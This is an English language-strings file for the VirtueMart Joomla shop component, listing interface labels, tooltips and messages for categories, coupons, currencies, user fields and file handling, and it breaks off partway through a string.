COM_VIRTUEMART_ADD_RATING="Add Rating" COM_VIRTUEMART_ADD_SHIPTO_1="Add a new" COM_VIRTUEMART_ADD_SHIPTO_2="Shipment Address" COM_VIRTUEMART_ADMIN="Control Panel" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS="Enable database Update tools" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS_EXPLAIN="Here you can activate tools, which are written for testing and uninstallation. They are used to reset the shop in the installation conditions. Consider that after using a dangerous tool, the configuration is set back to none again." COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE="No override" COM_VIRTUEMART_ADMIN_PAYMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_PAYMENT_FORM="Payment Method Information" COM_VIRTUEMART_ADMIN_SECURITY_SETTINGS="Security Settings" COM_VIRTUEMART_ADMIN_SHIPMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_SHIPMENT_FORM="Shipment Method Information" COM_VIRTUEMART_ADMIN_STORE_CREDITCARD_DATA="Store Credit Card Information?" COM_VIRTUEMART_ADMIN_UPDATES="Updates" COM_VIRTUEMART_ADVANCED_SEARCH="Advanced Search" COM_VIRTUEMART_AD_ACY="For a more complex solution to send emails, you may try:
        %s" COM_VIRTUEMART_AES_ENCRYPT_STRONG_SECURITY="AES_ENCRYPT (strong security)" COM_VIRTUEMART_AJAX_PRODUCTS_LBL="%s products" COM_VIRTUEMART_AJAX_PRODUCT_LBL="1 product" COM_VIRTUEMART_ALL="All" COM_VIRTUEMART_ALL_EXTENSIONS="See All Extensions" COM_VIRTUEMART_ALL_NEWS="Read all News" COM_VIRTUEMART_APPLY="Apply" ;COM_VIRTUEMART_ASKQU_CS_MAX="too long" ;COM_VIRTUEMART_ASKQU_CS_MIN="Minimum not reached" COM_VIRTUEMART_ASKQU_INV_MAIL="Given email address is invalid" COM_VIRTUEMART_ASSIGN_ZONE_PG_LBL="Assign Zones" COM_VIRTUEMART_ATTRIBUTES="Attributes" COM_VIRTUEMART_ATTRIBUTE_LIST_NAME="Attribute Name" COM_VIRTUEMART_AVAILABILITY="Availability" COM_VIRTUEMART_AVAILABILITY_EXPLAIN="Will be displayed when Products Out of stock are orderable" COM_VIRTUEMART_BACK="Back" COM_VIRTUEMART_BACK_TO_DETAILS="Back to Product Details" COM_VIRTUEMART_CALC="Tax & Calculation Rule" COM_VIRTUEMART_CALC_DETAILS="Tax & Calculation Rule Details" COM_VIRTUEMART_CALC_EPOINT_DATAX="Price modifier after tax" COM_VIRTUEMART_CALC_EPOINT_DATAXBILL="Price modifier after tax per bill" COM_VIRTUEMART_CALC_EPOINT_DBTAX="Price modifier before tax" COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL="Price modifier before tax per bill" COM_VIRTUEMART_CALC_EPOINT_PMARGIN="Price modifier for Profit Margin" COM_VIRTUEMART_CALC_EPOINT_TAX="Tax per product" COM_VIRTUEMART_CALC_EPOINT_TAXBILL="Tax per bill" COM_VIRTUEMART_CALC_EPOINT_VATTAX="Vat tax per product" COM_VIRTUEMART_CALC_KIND="Type of Arithmetic Operation" COM_VIRTUEMART_CALC_LOCATION="Countries" COM_VIRTUEMART_CALC_NAME="Calculation Rule name" COM_VIRTUEMART_CALC_S="Taxes & Calculation Rules" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_OFF="Not Visible for Shopper" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_ON="Visible for Shopper" COM_VIRTUEMART_CALC_VALUE_MATHOP="Math Operation" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_OFF="Not Visible for Vendor" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_ON="Visible for Vendor" COM_VIRTUEMART_CALC_VIS_SHOPPER="Visible Shopper" COM_VIRTUEMART_CALC_VIS_VENDOR="Visible Vendor" COM_VIRTUEMART_CANCEL="Cancel" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_CATEGORY_GIVEN="Can't create image for category" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_MANUFACTURER_GIVEN="Can't create image for manufacturer" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_PRODUCT_GIVEN="Can't create image for product" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_VENDOR_GIVEN="Can't create image for vendor" COM_VIRTUEMART_CART_MAIL_SHOPPER_SUMMARY="

        Order confirmed

        You bought and confirmed an order in %1$s shop online.

        You can check the status of your order by going on your personal account

        " COM_VIRTUEMART_CART_MAIL_SHOPPER_YOUR_PASSWORD="Your order password:" COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="No payment selected" COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="No shipment selected" COM_VIRTUEMART_CART_PRICE="Price " COM_VIRTUEMART_CART_PRICE_FREE="No additional charge" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Displays the Shopping Cart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Shopping Cart" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Search for Related Categories" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="To set the parent category" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Categories Layout" COM_VIRTUEMART_CATEGORY="Product Category" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Category Description" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_LAYOUT="Page Layout" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_LAYOUT_DESC="Here you can override the VirtueMart page layout by assigning a different layout to a specific menu item" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE="Select a Category" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE_DESC="Select a Category" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_LAYOUT="Category Browse Page" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_PAGE="Category Template" COM_VIRTUEMART_CATEGORY_FORM_FLYPAGE="Default Product Details Page" COM_VIRTUEMART_CATEGORY_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS="Initial number of listed items" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS_TIP="This is the number of items listed when a user enters the category without having selected a number already. This is also an override. Leave empty to use the system defaults" COM_VIRTUEMART_CATEGORY_FORM_LBL="Product Category Form" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP="Category Pagination Sequence" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP_TIP="Leave empty, to use the default set in the main config, else set a list of numbers seperated by commas that will be used in the list box on the Front End.
        Example: 6,12,18,24
        " COM_VIRTUEMART_CATEGORY_FORM_PARENT="Parent Category" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW="Number of Products per Row" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW_TIP="Leave it empty to use the default value set in the vm configuration" COM_VIRTUEMART_CATEGORY_FORM_SHARED="Category is shared?" COM_VIRTUEMART_CATEGORY_FORM_TEMPLATE="Category Template" COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL="Top Level Category" COM_VIRTUEMART_CATEGORY_ID="Category Id" COM_VIRTUEMART_CATEGORY_NAME="Category Name" COM_VIRTUEMART_CATEGORY_ORDERING="Category Ordering" COM_VIRTUEMART_CATEGORY_S="Product Categories" COM_VIRTUEMART_CATEGORY_SHARED="Shared category" COM_VIRTUEMART_CATEGORY_SHARED_SUCCESS="Set category to shared" COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT="Use shop default" COM_VIRTUEMART_CATEGORY_UNSHARE="Unshared category" COM_VIRTUEMART_CATEGORY_UNSHARED_SUCCESS="Unshared category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Displays a single VirtueMart category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Category Layout" COM_VIRTUEMART_CHANGE_TRANSACTION_KEY="Show / Change the Transaction Key" COM_VIRTUEMART_CHILD_GENERIC_VARIANT="Generic child variant" COM_VIRTUEMART_CLONE="Clone" COM_VIRTUEMART_CLOSE="Close" COM_VIRTUEMART_CMN_NEW_ITEM_LAST="New items default to the last place. Ordering can be changed after this item is saved." COM_VIRTUEMART_CMN_OPTIONAL="Optional" COM_VIRTUEMART_COL_ROWS_ATTRIBUTES="Columns, Rows attributes" COM_VIRTUEMART_COMMENT="Comment" COM_VIRTUEMART_COMMENT_MIN_MAX="Your message should have between %s to %s characters. Thank you." COM_VIRTUEMART_COMMUNITY_FORUM="Forum" COM_VIRTUEMART_CONFIG="Configuration" COM_VIRTUEMART_CONFIGURATION="Configuration" COM_VIRTUEMART_CONFIGURATION_CHANGE_FAILURE="Unable to write into the configuration file %s!" COM_VIRTUEMART_CONFIGURATION_CHANGE_SUCCESS="The configuration details have been updated!" COM_VIRTUEMART_CONFIGURATION_MOD="Configuration" COM_VIRTUEMART_CONFIG_SAVED="Configuration Saved" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="No Shop Currency defined! Go to %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Currency is not formatted! Go to %s" COM_VIRTUEMART_CONTROL_PANEL="Control Panel" COM_VIRTUEMART_COOKIE_MISSING="Cookie Missing" COM_VIRTUEMART_COUNTRY="Country" COM_VIRTUEMART_COUNTRY_2_CODE="Country (2) Code" COM_VIRTUEMART_COUNTRY_3_CODE="Country (3) Code" COM_VIRTUEMART_COUNTRY_DETAILS="Country Details" COM_VIRTUEMART_COUNTRY_NAME="Country Name" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME="Country Reference Name" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME_TIP="The Country Reference Name is used when no key exist in the language file for this country. Otherwise the language key will be used. The countries languages keys are in 'com_virtuemart_countries.ini' file. The key must have the prefix 'COM_VIRTUEMART_COUNTRY_' followed by the country 3 code letter" COM_VIRTUEMART_COUNTRY_S="Countries" COM_VIRTUEMART_COUPON="Coupon" COM_VIRTUEMART_COUPON_CODE="Coupon Code" COM_VIRTUEMART_COUPON_DETAILS="Coupon Details" COM_VIRTUEMART_COUPON_DISCOUNT="Coupon Discount" COM_VIRTUEMART_COUPON_EXPIRY="Coupon Expiry Date" COM_VIRTUEMART_COUPON_EXPIRY_TIP="Coupon Expiry Date" COM_VIRTUEMART_COUPON_PERCENT="Percent" COM_VIRTUEMART_COUPON_PERCENT_TOTAL="Percent or Total" COM_VIRTUEMART_COUPON_PERCTOT_TOOLTIP="Percent or Total" COM_VIRTUEMART_COUPON_S="Coupons" COM_VIRTUEMART_COUPON_START="Coupon Start Date" COM_VIRTUEMART_COUPON_START_TIP="Coupon Start Date" COM_VIRTUEMART_COUPON_SUBMIT_BUTTON="Submit" COM_VIRTUEMART_COUPON_TIP="The coupon code the client will need to enter" COM_VIRTUEMART_COUPON_TOTAL="Total" COM_VIRTUEMART_COUPON_TYPE="Coupon Type" COM_VIRTUEMART_COUPON_TYPE_GIFT="Gift Coupon" COM_VIRTUEMART_COUPON_TYPE_PERMANENT="Permanent Coupon" COM_VIRTUEMART_COUPON_TYPE_TIP="A Gift Coupon is deleted after it was used for discounting an order. A permanent coupon can be used as often as the shopper wants to." COM_VIRTUEMART_COUPON_VALUE_NOT_NUMBER="Coupon value must be a number." COM_VIRTUEMART_COUPON_VALUE_TIP="Coupon value" COM_VIRTUEMART_COUPON_VALUE_VALID_AT="Minimum Total Order" COM_VIRTUEMART_COUPON_VALUE_VALID_AT_NOT_NUMBER="Invalid Value for Order Value to be valid" COM_VIRTUEMART_COUPON_USED="Coupon used" COM_VIRTUEMART_CREATED_ON="Creation Date" COM_VIRTUEMART_CREATE_ACCOUNT="Register" COM_VIRTUEMART_CURRENCY="Currency" COM_VIRTUEMART_CURRENCY_CODE_2="Code 2 letters" COM_VIRTUEMART_CURRENCY_CODE_3="Code 3 letters" COM_VIRTUEMART_CURRENCY_DECIMALS="Decimals" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL="Decimal Symbol" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL_TIP="Character used as decimal symbol" COM_VIRTUEMART_CURRENCY_DECIMALS_TIP="Number of displayed decimals (can be 0)
        Performs rounding if value has different number of decimals" COM_VIRTUEMART_CURRENCY_DETAILS="Currency Details" COM_VIRTUEMART_CURRENCY_DISPLAY="Currency Display Style" COM_VIRTUEMART_CURRENCY_DISPLAY_EXPL="For Positive or Negative Format, use
        • {sign} for the algebraic sign,
        • {number} for the value and
        • {symbol} for the currency
        as placeholder, all html tags are allowed, except the character | is not allowed
        For example
        "{sign} <b>{number}</b> {symbol}"
        will display a price like "+ 42,23 €"" COM_VIRTUEMART_CURRENCY_END_DATE="End date" COM_VIRTUEMART_CURRENCY_ERR_CODE="You must enter a code for the currency." COM_VIRTUEMART_CURRENCY_ERR_DELETE_SELECT="Please select a currency to delete." COM_VIRTUEMART_CURRENCY_EXCHANGE_RATE="Exchange Rate" COM_VIRTUEMART_CURRENCY_FOR_VENDORS="Currency function Forbidden for non vendors" COM_VIRTUEMART_CURRENCY_NAME="currency name" COM_VIRTUEMART_CURRENCY_NEGATIVE_DISPLAY="Negative Format" COM_VIRTUEMART_CURRENCY_NUMERIC_CODE="Numeric Code" COM_VIRTUEMART_CURRENCY_POSITIVE_DISPLAY="Positive Format" COM_VIRTUEMART_CURRENCY_S="Currencies" COM_VIRTUEMART_CURRENCY_START_DATE="Start date" COM_VIRTUEMART_CURRENCY_SYMBOL="Currency Symbol" COM_VIRTUEMART_CURRENCY_THOUSANDS="Thousands Separator" COM_VIRTUEMART_CURRENTLY_NOT_AVAILABLE="This product is currently not available." COM_VIRTUEMART_CURRENT_TRANSACTION_KEY="Current Transaction Key" COM_VIRTUEMART_CUSTOM="Custom Fields" COM_VIRTUEMART_CUSTOMER_RATING="Average shopper rating" COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT="Some Plugin can contain Javascript. Please click on 'Apply' button (Joomla 1.5.x), or 'Save' button (Joomla 2.5.x) to display the appropriate parameters" COM_VIRTUEMART_CUSTOM_ADMIN_ONLY="Admin only" COM_VIRTUEMART_CUSTOM_BOOL="Boolean" COM_VIRTUEMART_CUSTOM_CANNOT_PARENT="The custom record itself cannot be the parent !" COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT="Cart User Variant" COM_VIRTUEMART_CUSTOM_CART_VARIANT="Cart Variant" COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY="The Custom Type(s) was successfully cloned" COM_VIRTUEMART_CUSTOM_DEFAULT="Default value" COM_VIRTUEMART_CUSTOM_EDITOR="Editor" COM_VIRTUEMART_CUSTOM_EXTENSION="Plug-ins" COM_VIRTUEMART_CUSTOM_FIELD_DESCRIPTION="Description" COM_VIRTUEMART_CUSTOM_FIELD_PRICE="Price: " COM_VIRTUEMART_CUSTOM_FIELD_TYPE="Custom Field Type: " COM_VIRTUEMART_CUSTOM_ID="custom id" COM_VIRTUEMART_CUSTOM_IMAGE="Image" COM_VIRTUEMART_CUSTOM_INT="Integer" COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE="Cart Attribute" COM_VIRTUEMART_CUSTOM_IS_HIDDEN="Hidden" COM_VIRTUEMART_CUSTOM_IS_LIST="Is a list?" COM_VIRTUEMART_CUSTOM_LAYOUT_POS="Layout position" COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY="Fail to clone the Custom Type(s)" COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT="No child product" COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION="No relation found" COM_VIRTUEMART_CUSTOM_NO_TYPES="No custom Fields. Please use select list to add some new fields" COM_VIRTUEMART_CUSTOM_PAGE_TITLE="Custom Page Title" COM_VIRTUEMART_CUSTOM_PARENT="Parent" COM_VIRTUEMART_CUSTOM_PO="Parent orderable" COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD="Child product" COM_VIRTUEMART_CUSTOM_SAVE_FROM_CHILD="Overwrite plugin values of the parent" COM_VIRTUEMART_CUSTOM_STRING="String" COM_VIRTUEMART_CUSTOM_TEXTAREA="Textarea" COM_VIRTUEMART_CUSTOM_TIP="Tooltip" COM_VIRTUEMART_CUSTOM_TITLE="Title" COM_VIRTUEMART_CUSTOM_WP="Display parent as option" COM_VIRTUEMART_DATE="Date" ; This is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_LC_J16="%A, %d %B %Y" ; INPUT_J16 is used to generate date for datepicker and must be contain only m d and y with the separators COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="m/d/y" ; see http://docs.jquery.com/UI/Datepicker/formatDate to find the JS format COM_VIRTUEMART_DAY="Day" COM_VIRTUEMART_DEFAULT="Default" COM_VIRTUEMART_DEFAULT_TOP_LEVEL="Default-Top Level" COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY="Default Vendor Currency" COM_VIRTUEMART_DELETE="Delete" COM_VIRTUEMART_DELETED_X_CUSTOM_FIELD_ITEMS="%s custom field items have been deleted" COM_VIRTUEMART_DELETED_X_MEDIA_ITEMS="%s media items have been deleted" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH="Reset all tables and do a fresh install" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH_CONFIRM_JS="This deletes all tables of VirtueMart and makes a fresh install (no files). Are you sure?" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE="Reset all tables and install sample data" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE_CONFIRM_JS="This deletes all tables of VirtueMart and makes a demo install (no files). Are you sure?" COM_VIRTUEMART_DELETE_GENERAL_WARNING="Warning" COM_VIRTUEMART_DELETE_MSG="Are you sure you want to delete this record?" COM_VIRTUEMART_DELETE_RECORD="Delete this record" COM_VIRTUEMART_DELIVERYNOTE="Delivery Note" COM_VIRTUEMART_DELIVERYNOTE_CREATE="Create Delivery Note" COM_VIRTUEMART_DELIVERY_TIME="Usually ships in" COM_VIRTUEMART_DESCRIPTION="Description" COM_VIRTUEMART_DETAILS="Details" COM_VIRTUEMART_DISABLE_ITEM="Disable Item" COM_VIRTUEMART_DISPLAY_END="End Value" COM_VIRTUEMART_DISPLAY_STEP="Step Value" COM_VIRTUEMART_DISPLAY_STOCK="Display stock level" COM_VIRTUEMART_DISPLAY_STOCK_EXPLAIN="If enabled the stock level will be displayed in product category layout" COM_VIRTUEMART_DOCUMENTATION="Documentation" COM_VIRTUEMART_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_DO_LOGIN="You need to login" COM_VIRTUEMART_DRDOWN_AVA2ALL="Available for all" COM_VIRTUEMART_DRDOWN_NONE="None" COM_VIRTUEMART_DRDOWN_NOTMULTILINGUAL="Select languages if your shop is Multilingual" COM_VIRTUEMART_DRDOWN_SELALL="Select all" COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS="Select some options" COM_VIRTUEMART_EDIT="Edit" COM_VIRTUEMART_EDITSHOP="Edit" COM_VIRTUEMART_EDIT_PARENT="Edit product parent" COM_VIRTUEMART_EDIT_REVIEW="Edit" COM_VIRTUEMART_EMAIL="Email" COM_VIRTUEMART_EMAIL_SENDTO="A confirmation email has been sent to" COM_VIRTUEMART_EMPTY_CATEGORY="This Category is currently empty." COM_VIRTUEMART_ENABLED="Enabled" COM_VIRTUEMART_ENABLE_ITEM="Enable item" COM_VIRTUEMART_ENCODE_INSECURE="ENCODE (insecure)" COM_VIRTUEMART_END_DATE="End Date" COM_VIRTUEMART_ENQUIRY="Enquiry" COM_VIRTUEMART_ENTER_VALID_DATE="Please enter a valid date format (YYYY-MM-DD)" COM_VIRTUEMART_ENTER_VALUE_FIELD="Please enter a value into the Field" COM_VIRTUEMART_ERROR="Error" COM_VIRTUEMART_EXCLUDING_TAX="(excluding tax)" COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND="Reminder! Also update your extensions with the AIO installer" COM_VIRTUEMART_E_IMAGES="Images" COM_VIRTUEMART_E_REMOVE="Remove" COM_VIRTUEMART_ERROR_SUBJECT="An error with your payment %s on your store %s" COM_VIRTUEMART_ERROR_BODY="Hello,\n\n%s. The details are logged in the file %s\n\nThe VirtueMart Team" COM_VIRTUEMART_FEATURED="Featured" COM_VIRTUEMART_FEATURED_PRODUCT="Featured Products" COM_VIRTUEMART_FEATURED_PRODUCTS_LIST_LBL="Featured & Discounted Products" COM_VIRTUEMART_FEE="Fee" COM_VIRTUEMART_FEED_FEATURED_EXTENSION="Featured Extensions" COM_VIRTUEMART_FEED_LATEST_EXTENSION="Latest Extensions" COM_VIRTUEMART_FEED_LATEST_NEWS="Latest News" COM_VIRTUEMART_FEED_POPULAR_EXTENSION="Popular Extensions" COM_VIRTUEMART_FEED_SUBSCRIBE_TITLE="Subscribe to the Feed of the latest Products!" COM_VIRTUEMART_FEED_SUBSCRIBE_TOCATEGORY_TITLE="Subscribe to the Feed of the latest Products in this Category!" COM_VIRTUEMART_FIELDMANAGER_COREFIELD="User field from Joomla core" COM_VIRTUEMART_FIELDMANAGER_HIDE_ACCOUNT="Account" COM_VIRTUEMART_FIELDMANAGER_HIDE_REGISTRATION="Registration" COM_VIRTUEMART_FIELDMANAGER_HIDE_SHIPPING="Shipment" COM_VIRTUEMART_FIELDMANAGER_NAME="Field name" COM_VIRTUEMART_FIELDMANAGER_REORDER="Reorder" COM_VIRTUEMART_FIELDMANAGER_REQUIRE="Required" COM_VIRTUEMART_FIELDMANAGER_REQUIRED="Required" COM_VIRTUEMART_FIELDMANAGER_SHOW_ACCOUNT="Account" COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE="Show/Hide in:" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT="Show in account maintenance" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION="Show in registration form" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING="Show in shipment form" COM_VIRTUEMART_FIELDMANAGER_SHOW_REGISTRATION="Registration" COM_VIRTUEMART_FIELDMANAGER_SHOW_SHIPPING="Shipment" COM_VIRTUEMART_FIELDMANAGER_TITLE="Field title" COM_VIRTUEMART_FIELDMANAGER_TYPE="Field type" COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE="Not Required" COM_VIRTUEMART_FIELDS_AGEVERIFICATION="Age Verification (Date Select Fields)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_ATTRIBUTES="Age Verification (Date Select Fields) Attributes" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_MINIMUM="Specify the minimum Age" COM_VIRTUEMART_FIELDS_CAPTCHA="Captcha Field (using com_securityimages)" COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE="Check Box (Multiple Select)" COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE="Check Box (Single Select)" COM_VIRTUEMART_FIELDS_DATE="Date" COM_VIRTUEMART_FIELDS_DELIMITER="--- Fieldset delimiter ---" COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE="Drop Down (Multi Select)" COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE="Drop Down (Single Select)" COM_VIRTUEMART_FIELDS_EDITORAREA="Editor Text Area" COM_VIRTUEMART_FIELDS_EMAIL="Email Address" COM_VIRTUEMART_FIELDS_NEWSLETTER="Newsletter Subscription" COM_VIRTUEMART_FIELDS_RADIOBUTTON="Radio Button" COM_VIRTUEMART_FIELDS_TEXTAREA="Text Area" COM_VIRTUEMART_FIELDS_TEXTFIELD="Text Field" COM_VIRTUEMART_FIELDS_WEBADDRESS="Web Address" COM_VIRTUEMART_FIELD_TYPE="Field Type" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Could not delete the File." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="File successfully deleted." COM_VIRTUEMART_FILES_FULLIMG_DELETE_FAILURE="Could not delete the Full Image File." COM_VIRTUEMART_FILES_FULLIMG_DELETE_SUCCESS="Full Image successfully deleted." COM_VIRTUEMART_FILES_IMAGE_RESIZE_SUCCESS="The Thumbnail Image has been successfully created!" COM_VIRTUEMART_FILES_LIST="Files List" COM_VIRTUEMART_FILES_LIST_FILENAME="Filename" COM_VIRTUEMART_FILES_LIST_FILETITLE="File Title" COM_VIRTUEMART_FILES_LIST_FILETYPE="Filetype" COM_VIRTUEMART_FILES_LIST_GO_UP="Go Up" COM_VIRTUEMART_FILES_LIST_ROLE="Role" COM_VIRTUEMART_FILES_LIST_UP="Up" COM_VIRTUEMART_FILES_NOT_FOUND="Sorry, but the requested file wasn't found!" COM_VIRTUEMART_FILES_PATH_ERROR="Please provide a valid path!" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_FAILURE="Could not delete the Thumbnail Image File (maybe didn't exist)" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_SUCCESS="Thumbnail Image successfully deleted." COM_VIRTUEMART_FILES_UPLOAD_FAILURE="File/Image Upload Error" COM_VIRTUEMART_FILE_DELETE_ERR="File could not be deleted %s" COM_VIRTUEMART_FILE_DELETE_OK="File deleted" COM_VIRTUEMART_FILE_SAVED_SUCCESS="Media File saved successfully" COM_VIRTUEMART_FILE_UPLOAD_OK="File %s uploaded" COM_VIRTUEMART_FILTER="Filter" COM_VIRTUEMART_FILTER_BY="Filter by" COM_VIRTUEMART_FOLDER_NOT_EXIST="Folder %s does not exist. You can create it, and place your images inside." COM_VIRTUEMART_FORM_EDIT=": [ Edit ]" COM_VIRTUEMART_FORM_GENERAL="General Informations" COM_VIRTUEMART_FORM_NEW=": [ New ]" COM_VIRTUEMART_FOR_SALE="File is for Sale" COM_VIRTUEMART_FOR_VIEW_WITH_PRESELECTED_MANUFACTURER="for a view with preselected manufacturer" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Minimum Amount for Free Shipment" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT_TIP="The amount (INCLUDING TAX!) which is the Minimum for Free Shipment (example: 50 means Free Shipment when the customer checks out with $50 (including tax) or more." COM_VIRTUEMART_FREE_SHIPPING_CART="Shipment is free on this Order" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS="Generally prevent https connections?" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS_TIP="When checked, the shopper is redirected to the http URL when not browsing in those shop areas, which are forced to use https." COM_VIRTUEMART_GO="Go" COM_VIRTUEMART_GROUP_NAME="Permission group name" COM_VIRTUEMART_HELP="Help" COM_VIRTUEMART_HELP_ABOUT="VirtueMart is the complete Open Source E-Commerce solution for Joomla!. It is an Application, which comes with a Component, more than 6 Modules and Mambots/Plugins. It has its roots in a Shopping Cart Script called 'phpShop' (Authors: Edikon Corp. & the phpShop community)." COM_VIRTUEMART_HELP_DONATION_BUTTON_ALT="Make payments with PayPal ‚Äì it's fast, free and secure!" COM_VIRTUEMART_HELP_DONATION_DESC="Please consider a small donation to the VirtueMart Project to help us keep up the work on this Component and create new Features." COM_VIRTUEMART_HELP_HOMEPAGE="Homepage" COM_VIRTUEMART_HELP_LICENSE_DESC="VirtueMart is licensed under the {licensename} License." COM_VIRTUEMART_HELP_PROJECTLEADER="Project Leader" COM_VIRTUEMART_HELP_TEAM="There is a small team of Developers who help in evolving this Shopping Cart Script." COM_VIRTUEMART_HELP_TOPICS="Help Topics" COM_VIRTUEMART_HELP_YOURVERSION="Your {product} version" COM_VIRTUEMART_HI="Hi," COM_VIRTUEMART_HIDE_OUT_OF_STOCK="Hide out of stock products" COM_VIRTUEMART_HTACCESS_DEFAULT_NOT_CREATED="Could not protect the folder %1s with an .htaccess file. Please add a file .htaccess to that folder containing the data %2s" COM_VIRTUEMART_ID="Id" COM_VIRTUEMART_IMAGE="Image" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_INCLUDING_TAX="(including $tax % tax)" COM_VIRTUEMART_INFO_MSG_VAT_ZERO_LBL="0 (-none-)" COM_VIRTUEMART_INSTALLATION_PLZ_RENEW_CONFIG="Please use renew config from file in Tools => Updates/Migration" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="The Installation was SUCCESSFUL" COM_VIRTUEMART_INSTALLATION_WELCOME="Welcome to VirtueMart
        The complete e-Commerce shopping cart solution for Joomla" COM_VIRTUEMART_INSTALL_DONATION="Please consider a small donation to help us keep up the work on this component." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Go to VirtueMart for further Help" COM_VIRTUEMART_INSTALL_GO_SHOP="Go to the Shop" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Install Sample Data" COM_VIRTUEMART_INTNOTES="Product Internal Notes" COM_VIRTUEMART_INVOICE="Invoice" COM_VIRTUEMART_INVOICE_CREATE="Force creation of invoice" COM_VIRTUEMART_INVOICE_NUMBER_RESERVED="InvoiceNumber is Reserved by Payment." COM_VIRTUEMART_INVOICE_PRINT="Print Invoice" COM_VIRTUEMART_ITEM="Item" COM_VIRTUEMART_ITEMS_MOVED="You sorted a total of %s Items" COM_VIRTUEMART_ITEMS_NOT_MOVED="items was already well-sorted" COM_VIRTUEMART_ITEM_MOVED_DOWN="Item Moved Down" COM_VIRTUEMART_ITEM_MOVED_UP="Item Moved Up" COM_VIRTUEMART_ITEM_NEXT="next order" COM_VIRTUEMART_ITEM_PREVIOUS="previous order" COM_VIRTUEMART_I_AGREE_TO_TOS="I agree to the Terms of Service" COM_VIRTUEMART_JPLUGINWARNING="Please configure VirtueMart Shipment or Payment Plugins inside 